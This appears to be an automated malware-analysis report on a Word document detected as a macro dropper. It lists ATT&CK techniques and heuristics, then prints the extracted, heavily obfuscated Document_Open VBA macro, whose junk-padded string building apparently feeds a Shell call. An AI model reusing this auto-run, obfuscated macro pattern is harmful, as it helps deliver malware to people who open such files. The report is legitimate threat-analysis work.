MALICIOUS
150
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1203 Exploitation for Client Execution
The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Agent-6539938-0. Static analysis revealed the presence of VBA macros, including a Document_Open macro, and a critical heuristic firing for a potential Shell call. These indicators suggest the macro is designed to execute arbitrary commands, likely for downloading and executing a second-stage payload. The VBA code is heavily obfuscated, making it difficult to determine the exact payload or destination URL.
Heuristics 5
-
ClamAV: Doc.Dropper.Agent-6539938-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6539938-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
End If Shell WTdQ1, uE8dR6Tn0 Dim qJr6HI -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Sub Document_Open() Dim AMOuZ52go -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://ns.adobe.com/tiff/1.0/In document text (OLE body)
- http://ns.adobe.com/exif/1.0/In document text (OLE body)
- http://www.iec.chIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 48824 bytes |
SHA-256: 9d7cc4aa69c8aef374e5fb13aaa79c4502e12983a15bb395fccfec0849d1af02 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim AMOuZ52go
AMOuZ52go = "tQEwIbkr"
If Mid(AMOuZ52go, 5) = "OmrE2n" Then
MsgBox "d8guMlUo"
End If
Dim Nq4bS
Nq4bS = "XJfR5"
If Mid(Nq4bS, 5) = "pslKrhi1k" Then
MsgBox "NXHVD"
End If
Dim SHhLX2Azt
SHhLX2Azt = "ZVYG6p3qE"
Mid(SHhLX2Azt, -16178 + 16180, -16178 + 16180) = "fox"
Dim uqQEP5Rl
uqQEP5Rl = Array("gMtDF", "hiYAx", "Sf6HP5jnh", "X0emxXDR", "ALlwQ")
Dim r6n0JURXP As String
r6n0JURXP = "913OldWY"
Dim dh1kI
dh1kI = "yj3GDv6"
If Mid(dh1kI, 5) = "tn0eNUt" Then
MsgBox "rxt0Di61"
End If
Dim DcQyOgk
DcQyOgk = "CxuC2tDe5"
Mid(DcQyOgk, 28036 / 28036, 28036 / 28036) = "fox"
Dim p7FIw5BGs As String
p7FIw5BGs = "zN"
qi2Zr47pM = r6n0JURXP & p7FIw5BGs
Dim tqtgRwI8
tqtgRwI8 = Array("MjQ4ek5Ob", "jxpJ6", "J3dKhP6C", "nxQZc", "x2jzL")
Dim jJtHx
jJtHx = "jf2Rs0g"
Mid(jJtHx, 11938 - 11937, 11938 - 11937) = "fox"
Dim tvSAL5Fw
tvSAL5Fw = "wV2Y4"
Dim oCGjV2
oCGjV2 = Array("NSFp8dcIQ", "fCEfVd", "stoxHj", "b0YscGkU", "oITcCQbV7")
Dim jeTn1O73J
jeTn1O73J = "E6eYL5k"
Mid(jeTn1O73J, -4716 + 4718, -4716 + 4718) = "fox"
Dim GJOLx
GJOLx = Array("STfpZLbr", "GLsBbKlo", "jkfDwyB", "o8dVE0U7", "xjYgV")
Dim knOHk7RXz
knOHk7RXz = Array("TOVDhcUX", "R7bUz", "R4qR2NxZ", "ThDKAa", "d9Js1G")
Dim ngjXtlVhY
ngjXtlVhY = "VkLfR"
Y8ZOMSs = tvSAL5Fw & ngjXtlVhY
Dim dCQPzWY
dCQPzWY = Array("FdO3ys", "fvblZei", "lTFjxbvna", "fvweBdA", "eDcG3ri")
Dim aOUgI
aOUgI = "AzZgw0f"
Mid(aOUgI, 4086 - 4084, 4086 - 4084) = "fox"
Dim XoqO43m9
XoqO43m9 = "o893BTugJ"
If Mid(XoqO43m9, 5) = "ZxJaLtO" Then
MsgBox "oYIevU1"
End If
Dim x29HIRY As String
x29HIRY = "CI0N3"
Dim alXqmQ9W
alXqmQ9W = "XBw7qm"
If Mid(alXqmQ9W, 5) = "qST6xw" Then
MsgBox "ogD8GQ7"
End If
Dim aH3TD
aH3TD = "bo1SZ"
jeiov = x29HIRY & aH3TD
Dim wLCsE
wLCsE = "scbzV9X"
Mid(wLCsE, 22946 / 11473, 22946 / 11473) = "fox"
Dim j2dQnB
j2dQnB = "yJ2Oo"
Dim SvRwkBJS9
SvRwkBJS9 = "pgBvoM"
If Mid(SvRwkBJS9, 5) = "F8aNA45Ei" Then
MsgBox "z3Sk0dx"
End If
Dim yr3YXlf
yr3YXlf = "RXYwR"
vzFGuS = j2dQnB & yr3YXlf
Dim AslcIZ
AslcIZ = Array("rBI4GtHJ", "WkdYwD2xW", "toBVsCeG", "jmkQfD", "St801")
Dim wtD5PLfqI
wtD5PLfqI = "oem7j"
If Mid(wtD5PLfqI, 5) = "SzisCWvI" Then
MsgBox "g1nWcg"
End If
Dim vuRUY5 As String
vuRUY5 = "3U3"
Dim do1LCOJN
do1LCOJN = Array("PUsxP", "hry4JA", "aNqwp2", "vySrYp85o", "hmuBgZU")
Dim htiAICvx
htiAICvx = Array("hIy0bvdU", "okTZygUz", "mSEDkJt", "k9lfgd", "uqJP4")
Dim m1DeB
m1DeB = "rVH3Qxyc6"
Mid(m1DeB, -9204 + 9205, -9204 + 9205) = "fox"
Dim Zrt2v37
Zrt2v37 = Array("NuRGlL4nQ", "KceCm2", "zzs3hn", "WajLAHuU", "woPEp")
Dim TL6Ug
TL6Ug = "9GZul2V"
ZPoFr = vuRUY5 & TL6Ug
Dim HoIFG8
HoIFG8 = Array("lMaPSt6y", "kZfTQI6", "E5Mu7arD", "BDmgEf4", "OKU936")
Dim g6EzxcM2
g6EzxcM2 = "U1u8Ya3AU"
If Mid(g6EzxcM2, 5) = "Hdvmj" Then
MsgBox "i9osA04K"
End If
Dim xTcBdaJfe As String
xTcBdaJfe = "zJlhXZuc"
Dim GkL6d
GkL6d = Array("j7k1QB", "ORmWC4joU", "r2In6q", "wHD583", "flqCGoA")
Dim WnPL1
WnPL1 = "GCcMH"
If Mid(WnPL1, 5) = "OHLcyS" Then
MsgBox "BYLuk"
End If
Dim sDEtpAXr
sDEtpAXr = "CI"
lyITQaleY = xTcBdaJfe & sDEtpAXr
Dim HOimth
HOimth = Array("ulGXIpaC", "SwaP9l8", "NWsYBSc", "aLENz", "Pupr7")
Dim Z28Xq
Z28Xq = "XBV1Ak"
If Mid(Z28Xq, 5) = "MhVrpa3" Then
MsgBox "YI8gMLwk"
End If
Dim REkbwQ0
REkbwQ0 = "hBH"
Dim oH2AugYf3
oH2AugYf3 = "zLRK46bj"
If Mid(oH2AugYf3, 5) = "A9cZ8xr" Then
MsgBox "trM4R"
End If
Dim oObBC2
oObBC2 = "k9A1eq"
Mid(oObBC2, -1690 + 1692, -1690 + 1692) = "fox"
Dim r5p81bn7o
r5p81bn7o = Array("LUSupe2ob", "jOqLW", "oVX0jCyuA", "CZytJHbIM", "ZiEZfuSY")
Dim ymvq0NBzk As String
ymvq0NBzk = "J7k"
Dim C42Hwj1
C42Hwj1 = "m6eG7CzU"
Mid(C42Hwj1, 10234 - 10233, 10234 - 10233) = "fox"
Dim xGayv
xGayv = "CAIvQGBMi"
If Mid(xGayv, 5) = "VvHr6W" Then
MsgBox "Bc1OPKXWf"
End If
Dim nUNDPlB
nUNDPlB = "iNzU"
l9IBNJF = REkbwQ0 & ymvq0NBzk & nUNDPlB
Dim C9vS2
C9vS2 = "nB186COc"
Mid(C9vS2, 11324 - 11322, 11324 - 11322) = "fox"
Dim kJYT9hpV
kJYT9hpV = "Z50R7Sa3"
Mid(kJYT9hpV, 11324 - 11322, 11324 - 11322) = "fox"
Dim agiSNEJ79 As String
agiSNEJ79 = "w9yL6A"
Dim CcGgLDaH
CcGgLDaH = "m0kx4bYti"
Mid(CcGgLDaH, 20064 / 20064, 20064 / 20064) = "fox"
Dim TwJYBQLuA
TwJYBQLuA = "SLR5Jjr"
If Mid(TwJYBQLuA, 5) = "fTptSqkJf" Then
MsgBox "bkD9Nu"
End If
Dim vCgvaOH As String
vCgvaOH = "Hd0h"
u4RtzK = agiSNEJ79 & vCgvaOH
Dim I8GiRhmHC
I8GiRhmHC = "OelBO"
If Mid(I8GiRhmHC, 5) = "IOxhzkJ" Then
MsgBox "wOoMEznp"
End If
Dim kihOwWY
kihOwWY = Array("LSpEJ", "UcePdl", "UpafKQ", "VVeBH", "lKfMlmX")
Dim eV9ChA
eV9ChA = "kwHTh"
Mid(eV9ChA, 17724 / 8862, 17724 / 8862) = "fox"
Dim BHesrcNEC As String
BHesrcNEC = "mc1RyOt9GZ"
PRo6Kz = BHesrcNEC
Dim NwHv2
NwHv2 = "GkudwgL"
If Mid(NwHv2, 5) = "LnjBHFa" Then
MsgBox "y10Ugq"
End If
Dim ayj9HWq As String
ayj9HWq = "tFmbksTKnw"
PFcaUI = ayj9HWq
Dim RlFm3Xy
RlFm3Xy = "FtA0e"
If Mid(RlFm3Xy, 5) = "u9EcY8" Then
MsgBox "SkwU5"
End If
Dim p23v7aXD
p23v7aXD = "Fw9VuM8lf"
Mid(p23v7aXD, -3173 + 3175, -3173 + 3175) = "fox"
Dim Wz63QO5fA
Wz63QO5fA = "2bj5SahhG"
Dim VnMUtIy
VnMUtIy = "DVUHfu"
If Mid(VnMUtIy, 5) = "tMAENicV" Then
MsgBox "Cf0SE"
End If
Dim ILpbCOIKk
ILpbCOIKk = "o9F2LCl"
Mid(ILpbCOIKk, 15867 - 15865, 15867 - 15865) = "fox"
Dim KukQ25 As String
KukQ25 = "d"
GEKCeJ3 = Wz63QO5fA & KukQ25
Dim DsrYG
DsrYG = "CIqYLh8E"
If Mid(DsrYG, 5) = "DRxs0i" Then
MsgBox "fA5nh9f"
End If
Dim UUmg0XEnA
UUmg0XEnA = "gIVBJR"
If Mid(UUmg0XEnA, 5) = "aF9iy" Then
MsgBox "mxeTsYd"
End If
Dim bpx36an
bpx36an = "PL4HKIG"
If Mid(bpx36an, 5) = "g6f1a" Then
MsgBox "FXwa6fh"
End If
Dim F5L3IfD
F5L3IfD = "cas5V4dS"
Mid(F5L3IfD, 29917 / 29917, 29917 / 29917) = "fox"
Dim ryhvOM
ryhvOM = "g0DI0B"
Dim ez0DZAKd
ez0DZAKd = "dsUIXVf"
Mid(ez0DZAKd, 27194 / 13597, 27194 / 13597) = "fox"
Dim i4WzAPbQt
i4WzAPbQt = Array("KYMW7O", "HmEVCck", "h8YAJoSa", "AhNuUlWRT", "XcbO8UPDQ")
Dim B8BlGg
B8BlGg = Array("o6gs05", "sjKt2Y", "Ovfaj", "Bdh6EDwn7", "JbRA75")
Dim yaBLn
yaBLn = Array("Ire31zSBn", "YyePFkYv", "A0wxik28", "N30MW", "HKuIJ")
Dim FWXM0U As String
FWXM0U = "Xa"
Dim A7eiqRc
A7eiqRc = Array("m7AEIz6", "cF6m3", "waCAlyJKV", "SmFUIY", "Mt4KxSiJ")
Dim LWbdj
LWbdj = "jbcoes4"
Mid(LWbdj, -7399 + 7400, -7399 + 7400) = "fox"
Dim OpRHiF2U As String
OpRHiF2U = "yN"
dvGrTQy = ryhvOM & FWXM0U & OpRHiF2U
Dim RDYQRjt3E
RDYQRjt3E = Array("dPOezTJR", "VKnhS", "vJDkq", "G30yWl", "XbAFnZ1X")
Dim L2RJUrgMb As String
L2RJUrgMb = "gAXblRnO2"
Dim oKVzBsvH
oKVzBsvH = Array("Vvzx7b", "A4KomaC", "VpVqnd96", "RnKWk6", "Czpv6")
Dim XaIonk8Q
XaIonk8Q = "uM4FIjq2"
If Mid(XaIonk8Q, 5) = "fM351S" Then
MsgBox "rnC1FSsVT"
End If
Dim VarvTgYB
VarvTgYB = "RJL7cfT2z"
Mid(VarvTgYB, -11529 + 11531, -11529 + 11531) = "fox"
Dim aICzHxb7 As String
aICzHxb7 = "5"
AgLDIh = L2RJUrgMb & aICzHxb7
Dim Naf0EOZKo
Naf0EOZKo = Array("R6t7eU", "Wi6VnNQ2", "EXLdsj", "oNtKBH", "uaFNVTGRQ")
Dim DTUVEW1M
DTUVEW1M = "RTZUdpBX"
Mid(DTUVEW1M, 9931 - 9930, 9931 - 9930) = "fox"
Dim oIqXNvf
oIqXNvf = "PfPtZIB"
If Mid(oIqXNvf, 5) = "lf4FW2Q9" Then
MsgBox "ZWg2hAk4y"
End If
Dim JmdlvI
JmdlvI = "uVWasNmY"
Dim lIwzB3c
lIwzB3c = Array("I20ph95", "eMePdo3Jh", "cFKsX0p", "hxYInyP", "WjmPoYH")
Dim yrk2A0
yrk2A0 = Array("J4oNvdg", "MKTZ8dpkV", "YAsFhT", "UlBY8kLVu", "ZiJxB2V")
Dim xlwWIdp
xlwWIdp = "FhU9Fjy7e"
Mid(xlwWIdp, 6283 - 6281, 6283 - 6281) = "fox"
Dim WTaYAsW As String
WTaYAsW = "ld"
g0XOqH = JmdlvI & WTaYAsW
Dim zoSHpgm
zoSHpgm = "AemtsBHDp"
If Mid(zoSHpgm, 5) = "YmZGC9Vb" Then
MsgBox "e8VBMRb"
End If
Dim LtcNdX0
LtcNdX0 = Array("OqeRCU", "dvHt2O3C", "rzGRjZfF", "di0M5OAov", "A57Vc")
Dim NCFPb
NCFPb = "zhcenZ8Ha"
If Mid(NCFPb, 5) = "BvgTJi0" Then
MsgBox "QBtHDXdE"
End If
Dim ZobTCLs As String
ZobTCLs = "TN2ACLxg"
Dim kImWqn
kImWqn = "lHyh0P"
If Mid(kImWqn, 5) = "oLZ5eibE" Then
MsgBox "Tfrg2udM8"
End If
Dim r3VMjFE
r3VMjFE = "i5B4z6"
Mid(r3VMjFE, 6355 / 6355, 6355 / 6355) = "fox"
Dim EJBxh
EJBxh = "Cd"
Gv1sJdgNq = ZobTCLs & EJBxh
Dim M90GP
M90GP = Array("kIE1Px", "bbc5D", "JbidcRq", "IvJaG1", "EzhtcJ")
Dim Nyvh9
Nyvh9 = Array("dqIB7td", "yh4tIQgNZ", "nz1BUE", "gyGDkYCB", "x8rBs5")
Dim NetbN
NetbN = "v8ecLR09G"
If Mid(NetbN, 5) = "Hklo9st" Then
MsgBox "J1tJ2rI"
End If
Dim BuFTa4
BuFTa4 = "rASZtFm"
Dim vyh2K8VA
vyh2K8VA = "gtNpuF5"
If Mid(vyh2K8VA, 5) = "yE4jAzw0c" Then
MsgBox "MGlgfZhpP"
End If
Dim N1TcOAf
N1TcOAf = "bkA"
KMy3A98b = BuFTa4 & N1TcOAf
Dim vq5Sf
vq5Sf = "MQTdwHec9"
If Mid(vq5Sf, 5) = "BRg3Xzk" Then
MsgBox "tVF78kE5"
End If
Dim FbW7TF
FbW7TF = "axBH6Z"
Mid(FbW7TF, -9914 + 9915, -9914 + 9915) = "fox"
Dim hhM3ib5a
hhM3ib5a = Array("A1l4RD", "LgBeYGM", "ich2yq7Xx", "XSQItbR", "bVC7v")
Dim P79r4AB3 As String
P79r4AB3 = "Gaj9"
Dim Pd547l8F
Pd547l8F = "AOahrxV"
Mid(Pd547l8F, 9354 / 4677, 9354 / 4677) = "fox"
Dim kv8KCHg1d
kv8KCHg1d = "MGzku"
If Mid(kv8KCHg1d, 5) = "ICk6sEeh" Then
MsgBox "rojhRMDF"
End If
Dim cqPcr4g7
cqPcr4g7 = "xoY0e"
Mid(cqPcr4g7, -2772 + 2773, -2772 + 2773) = "fox"
Dim ULIHxtd As String
ULIHxtd = "yL6AHd"
tvIBfiU6R = P79r4AB3 & ULIHxtd
Dim dy5AYvG
dy5AYvG = Array("QaysU", "UIMEn", "GrE8q", "mrD5UQ", "C9bvu")
Dim FvDJwj7
FvDJwj7 = "05"
Dim mG6KhD1Y
mG6KhD1Y = "xRI4J"
If Mid(mG6KhD1Y, 5) = "RjQZSyX" Then
MsgBox "BbX9PY"
End If
Dim O5GznyV9f
O5GznyV9f = "AbzhB2yw"
If Mid(O5GznyV9f, 5) = "ifJUmRGg" Then
MsgBox "Gf4i3o"
End If
Dim FLTDyJ
FLTDyJ = "WZpx2YiV"
dXPcRCq9 = FvDJwj7 & FLTDyJ
Dim vCj95W
vCj95W = Array("jx79oSB", "lz7Uk", "YDTRsY7N2", "Dr4sV", "gPbtcGV")
Dim z6m4SYEe
z6m4SYEe = "QujGn"
Mid(z6m4SYEe, 3286 / 3286, 3286 / 3286) = "fox"
Dim E45f7kbh
E45f7kbh = "GLvo2L"
Dim tJ3AtqTwO
tJ3AtqTwO = "TOVx7pjHD"
If Mid(tJ3AtqTwO, 5) = "KoQV7" Then
MsgBox "Tt4ya"
End If
Dim a7JDLw
a7JDLw = "XMLNgr"
Mid(a7JDLw, 26857 / 26857, 26857 / 26857) = "fox"
Dim bCL3Vb9Fn
bCL3Vb9Fn = Array("xlWU4L", "ZT5eWFpc4", "QcGdzb", "ayfOxd", "q8zbpnd7")
Dim CM8zNJDCs
CM8zNJDCs = "nJ3b"
nKjgPe = E45f7kbh & CM8zNJDCs
Dim RpEH64qM8
RpEH64qM8 = "Hj7mU"
Mid(RpEH64qM8, 14574 / 7287, 14574 / 7287) = "fox"
Dim OoxaXfB
OoxaXfB = "mkx2c"
Mid(OoxaXfB, -28803 + 28804, -28803 + 28804) = "fox"
Dim QDhLI8d
QDhLI8d = "0hGLv"
Dim KylNHe
KylNHe = "YWYFZQnU"
If Mid(KylNHe, 5) = "jv8FumVz" Then
MsgBox "ycCWz2piV"
End If
Dim gnqwO
gnqwO = "jILvbXFaA"
Mid(gnqwO, 11494 / 5747, 11494 / 5747) = "fox"
Dim Qf7sjY
Qf7sjY = "i4dCTcj2o"
If Mid(Qf7sjY, 5) = "XHiPtW" Then
MsgBox "DZpsIeV"
End If
Dim ZgwXL
ZgwXL = "MUrl90"
Mid(ZgwXL, 8820 - 8818, 8820 - 8818) = "fox"
Dim KDV0X As String
KDV0X = "QXdv0"
PlFMILNfd = QDhLI8d & KDV0X
Dim dfrX74wmj
dfrX74wmj = "kmoQc"
If Mid(dfrX74wmj, 5) = "WktBzowM" Then
MsgBox "LlsFpzO0"
End If
Dim fh3TIincr
fh3TIincr = "Rb5makF4"
Mid(fh3TIincr, 16098 / 16098, 16098 / 16098) = "fox"
Dim uCunY
uCunY = "ufE6w"
Mid(uCunY, 22980 - 22979, 22980 - 22979) = "fox"
Dim jNgxwhM
jNgxwhM = "Wag"
Dim Y9oX0chiI
Y9oX0chiI = "n0KtjRz"
If Mid(Y9oX0chiI, 5) = "iglhm3Cw" Then
MsgBox "gIM0N"
End If
Dim b4f6p
b4f6p = Array("uyK5YQXUk", "SLt9npo", "asn0u1", "WpBhvf7OV", "xi65KTM4")
Dim YI7jAw As String
YI7jAw = "wm"
Dim DkHz2
DkHz2 = "pVeWMhYQn"
Mid(DkHz2, -13511 + 13512, -13511 + 13512) = "fox"
Dim JyPmo
JyPmo = "ApEgaUZ"
Mid(JyPmo, -13511 + 13512, -13511 + 13512) = "fox"
Dim vYD5QV3g
vYD5QV3g = "c1RCK"
GjQpSHEuF = jNgxwhM & YI7jAw & vYD5QV3g
Dim DBRHp0P
DBRHp0P = "wmsG4rBY"
If Mid(DBRHp0P, 5) = "SEicr" Then
MsgBox "CPKDdn"
End If
Dim ByN7C
ByN7C = Array("GAwhWxQ", "deoTjxv8U", "UiINvS", "w8YnOybfJ", "j8gSX")
Dim Jn1MU
Jn1MU = "WYvJ2av0"
Dim jt9hYZ
jt9hYZ = "E0iuDxzYQ"
If Mid(jt9hYZ, 5) = "fCTkR" Then
MsgBox "tdlUsjrAJ"
End If
Dim pqBR1 As String
pqBR1 = "2b"
vMhkn = Jn1MU & pqBR1
Dim CZjUFAM3
CZjUFAM3 = Array("jYEb56NL", "sqa0o", "zlyLZ", "PCZ96", "n0n9KbN")
Dim C46UYtI
C46UYtI = "xYVhJy"
If Mid(C46UYtI, 5) = "pUZfySecJ" Then
MsgBox "ANeAr"
End If
Dim TxRt49
TxRt49 = "o9itHkOS"
Mid(TxRt49, 238 / 238, 238 / 238) = "fox"
Dim uAGltWwk As String
uAGltWwk = "t92QtACdj"
Dim avC2dTus
avC2dTus = Array("bEQOHjonJ", "zrO89", "noECkTbL", "F57kRD", "rXQ41B23p")
Dim lCwXNq
lCwXNq = "HhbJ8Hlop"
Mid(lCwXNq, 31338 / 15669, 31338 / 15669) = "fox"
Dim SrXDNsbG
SrXDNsbG = "V"
CDgE9R = uAGltWwk & SrXDNsbG
Dim UHTtVWqK
UHTtVWqK = Array("JgrbLP", "OBMQW", "PugxIsb", "waTIvlr", "ePfwTC")
Dim YZn1fM5
YZn1fM5 = "jMmkeEwW6"
Mid(YZn1fM5, -30860 + 30861, -30860 + 30861) = "fox"
Dim tUsjCEG
tUsjCEG = "RUJwAu9vI"
If Mid(tUsjCEG, 5) = "ROA63MS" Then
MsgBox "WIkoAg"
End If
Dim rfqa71mk As String
rfqa71mk = "pMHbyVH"
Dim nNBHT
nNBHT = Array("eWfiwe", "Ovuoj4", "Tv50dh", "aIa9UGr", "QtfQj7UKk")
Dim hC10E6G
hC10E6G = "XCyFqEMuB"
Mid(hC10E6G, 32196 / 16098, 32196 / 16098) = "fox"
Dim duQotSV8N
duQotSV8N = "Jg4"
lmu7MJ6 = rfqa71mk & duQotSV8N
Dim wj0fco
wj0fco = Array("WMBdSyv", "hHAnS", "y2zRdMB", "aeCbgwh8", "GkeZPQO4G")
Dim cuh89l5
cuh89l5 = "Ww08oC"
Mid(cuh89l5, 18018 / 18018, 18018 / 18018) = "fox"
Dim MLx4zO79I
MLx4zO79I = "yL6AHd0hGL"
eIEYp = MLx4zO79I
Dim TxaoMmZ
TxaoMmZ = "MovKFRx7g"
Mid(TxaoMmZ, -15743 + 15744, -15743 + 15744) = "fox"
Dim KIZ26tWo
KIZ26tWo = "QqQv5Gst"
Mid(KIZ26tWo, 6213 - 6212, 6213 - 6212) = "fox"
Dim aKun635S
aKun635S = "KOzW9"
If Mid(aKun635S, 5) = "QfoixF5" Then
MsgBox "YzJ7T"
End If
Dim Cib5Y4Hm
Cib5Y4Hm = "FI0NW"
Dim QKGArt4sF
QKGArt4sF = Array("kAdpaG5", "cpthHvCkR", "dTS2VUyO", "kBvJTjhx", "kYXFW")
Dim PtLlaJH As String
PtLlaJH = "ZqJ2T"
Pkmqx = Cib5Y4Hm & PtLlaJH
Dim TpEkDRiqN
TpEkDRiqN = "cPXhZ6SCf"
If Mid(TpEkDRiqN, 5) = "y9VfU" Then
MsgBox "fkHNG"
End If
Dim F3BoXb6
F3BoXb6 = "0lmc3tHajR"
xIe3T = F3BoXb6
Dim RewjsvD
RewjsvD = "idMyIsvf"
If Mid(RewjsvD, 5) = "D3WctPU6" Then
MsgBox "VvTPIwt"
End If
Dim EYSE02 As String
EYSE02 = "oNWY"
Dim E1DkmegTt
E1DkmegTt = "TwtC61"
Mid(E1DkmegTt, 2430 / 2430, 2430 / 2430) = "fox"
Dim QbjJk85vx
QbjJk85vx = "eS4D7n9zX"
If Mid(QbjJk85vx, 5) = "bLvh8lOI" Then
MsgBox "ytpb4cxSJ"
End If
Dim iv2Po6EZn
iv2Po6EZn = Array("d2zNX7F", "rqpDR", "orIpKbZh", "vgiHYD", "q3HuDbm")
Dim B8ivTHyg0
B8ivTHyg0 = "lJ3bmt"
TSji9B = EYSE02 & B8ivTHyg0
Dim eCL4iScN
eCL4iScN = Array("UfTNaP3HI", "h7RnIYa", "ucs5CRj93", "wJqbHx", "lQjA8Xzt")
Dim KVsro
KVsro = "brhe4w0"
Mid(KVsro, 31247 / 31247, 31247 / 31247) = "fox"
Dim xLWoB84
xLWoB84 = "3ds9"
Dim AQRrs5
AQRrs5 = "OIyzlWHQY"
Mid(AQRrs5, -11922 + 11924, -11922 + 11924) = "fox"
Dim klSDTeLyd
klSDTeLyd = Array("WQtjAuzs", "nw4W1SI", "E0y6SP", "d6HyA0", "CVj2JLe")
Dim QXGBztNs
QXGBztNs = Array("nh9Uwe2", "YNLcW926", "xefiz", "ZcnYVTN", "F3Mm4")
Dim v0wKuJ9C3 As String
v0wKuJ9C3 = "SbvN"
Dim zS4uegqY
zS4uegqY = "eHQGnut"
Mid(zS4uegqY, -29673 + 29674, -29673 + 29674) = "fox"
Dim GdgD9
GdgD9 = "wLTHYhVv"
Mid(GdgD9, -29673 + 29674, -29673 + 29674) = "fox"
Dim YmbiIeNh
YmbiIeNh = "mL"
yRor3E = xLWoB84 & v0wKuJ9C3 & YmbiIeNh
Dim AngqPRkls
AngqPRkls = "o0wqA5"
Mid(AngqPRkls, 7528 - 7526, 7528 - 7526) = "fox"
Dim kvPerBZnl
kvPerBZnl = "gntpVw"
If Mid(kvPerBZnl, 5) = "t6iHT" Then
MsgBox "kUopK"
End If
Dim MrDGsT As String
MrDGsT = "2bs52dvRkL"
sV2qs1QDE = MrDGsT
Dim UeuzY
UeuzY = "MK36S"
Mid(UeuzY, 6484 - 6482, 6484 - 6482) = "fox"
Dim zcniJyG7X
zcniJyG7X = "GKBMiv"
Mid(zcniJyG7X, 6484 - 6482, 6484 - 6482) = "fox"
Dim HBgizd
HBgizd = "mai9WL3"
Dim cuJbe
cuJbe = "rv57Yl"
If Mid(cuJbe, 5) = "e7UkqTCG" Then
MsgBox "wjHJf6Iub"
End If
Dim DS0hFwp
DS0hFwp = Array("xZYh9g", "IlyV8", "QGapJovKk", "eEt7W", "bGQMq")
Dim BAs5nDFf
BAs5nDFf = "Vmb"
fYctR = HBgizd & BAs5nDFf
Dim FpRM2w
FpRM2w = Array("kpE1r", "etNc4of", "xoZ8Ecqr", "gyI59eci0", "xS3nF")
Dim XxvcQy
XxvcQy = "kgSZ"
Dim Sp30yVFT
Sp30yVFT = Array("feL5Wk", "WHoUBC", "puntVEdg", "PpMhoYAa", "DpeHGBrd")
Dim u30XYM9y As String
u30XYM9y = "slmRk"
Dim XOwZ5svJ
XOwZ5svJ = "exuNE7ylO"
Mid(XOwZ5svJ, 4728 - 4727, 4728 - 4727) = "fox"
Dim gWY47Lux
gWY47Lux = "A3XZTFS"
If Mid(gWY47Lux, 5) = "TlgdhJp2f" Then
MsgBox "tZRFCD7"
End If
Dim FYXfgSU58
FYXfgSU58 = "F"
aFY3cHy2k = XxvcQy & u30XYM9y & FYXfgSU58
Dim QnxRGX
QnxRGX = "LjS7AD3xz"
Mid(QnxRGX, 15798 - 15796, 15798 - 15796) = "fox"
Dim IYIT7u
IYIT7u = "FQdMLVnyl"
If Mid(IYIT7u, 5) = "u6wz5" Then
MsgBox "EVkLz4"
End If
Dim hT9k2Z
hT9k2Z = Array("OhGKyJdA", "PsWZgpnf", "PpOLXF", "BMYfv", "U42Kpz")
Dim qmuz7E
qmuz7E = Array("bNJ7BTR0", "q19mZ", "rfv0V", "q8Tzf", "besAfDh6L")
Dim TukYmBn
TukYmBn = "k5WYph"
Dim R5NQwIR
R5NQwIR = "iZBJi7Mx9"
If Mid(R5NQwIR, 5) = "XtfbsK" Then
MsgBox "h8f6H"
End If
Dim wuh7C21
wuh7C21 = "2c1"
Dim L5bEU9h8Q
L5bEU9h8Q = "LeySPB6I"
Mid(L5bEU9h8Q, 11066 / 11066, 11066 / 11066) = "fox"
Dim V9tgG
V9tgG = "XvxelcQX"
If Mid(V9tgG, 5) = "w3S0D2" Then
MsgBox "W8jPy21M"
End If
Dim gyhn0OLoK As String
gyhn0OLoK = "N"
b8AZvwhHS = TukYmBn & wuh7C21 & gyhn0OLoK
Dim CwK356J
CwK356J = Array("Vqnw0W", "OlHkr6io", "DhsZ0", "GnRLGTklD", "g7O4m")
Dim RgLuTe
RgLuTe = "hKE6eFl8"
Mid(RgLuTe, -8873 + 8875, -8873 + 8875) = "fox"
Dim jZfCwds9b
jZfCwds9b = Array("oozbquFg", "heus1zMO", "eOL9lRr1", "LsEMduq", "izAM32")
Dim CmjYuSy
CmjYuSy = "2a"
Dim DnueL
DnueL = "i7qlrAv"
Mid(DnueL, -16662 + 16663, -16662 + 16663) = "fox"
Dim PhxXi
PhxXi = Array("A6GJi04", "A3CkG5aDv", "fSsI7Z", "cvZe8i", "lCJGmDbo")
Dim r8PRl6c0I
r8PRl6c0I = "S4XwbN"
If Mid(r8PRl6c0I, 5) = "gr9XybmBL" Then
MsgBox "fNKFwp"
End If
Dim BFpXVx3c As String
BFpXVx3c = "z5Wa"
Dim JvT8ykHA
JvT8ykHA = "CqeU3C"
Mid(JvT8ykHA, -2354 + 2356, -2354 + 2356) = "fox"
Dim MugQk1U
MugQk1U = "hmHaUKE"
Mid(MugQk1U, 21183 / 21183, 21183 / 21183) = "fox"
Dim B1xif7gB
B1xif7gB = "sJXZ"
pQinsLzOZ = CmjYuSy & BFpXVx3c & B1xif7gB
Dim wSHNEV
wSHNEV = Array("YYc13", "YbxCY8", "PuZMUz", "mFMSLTwJ", "Bj6mXlPv")
Dim nQ0P3G
nQ0P3G = "XpY71J9"
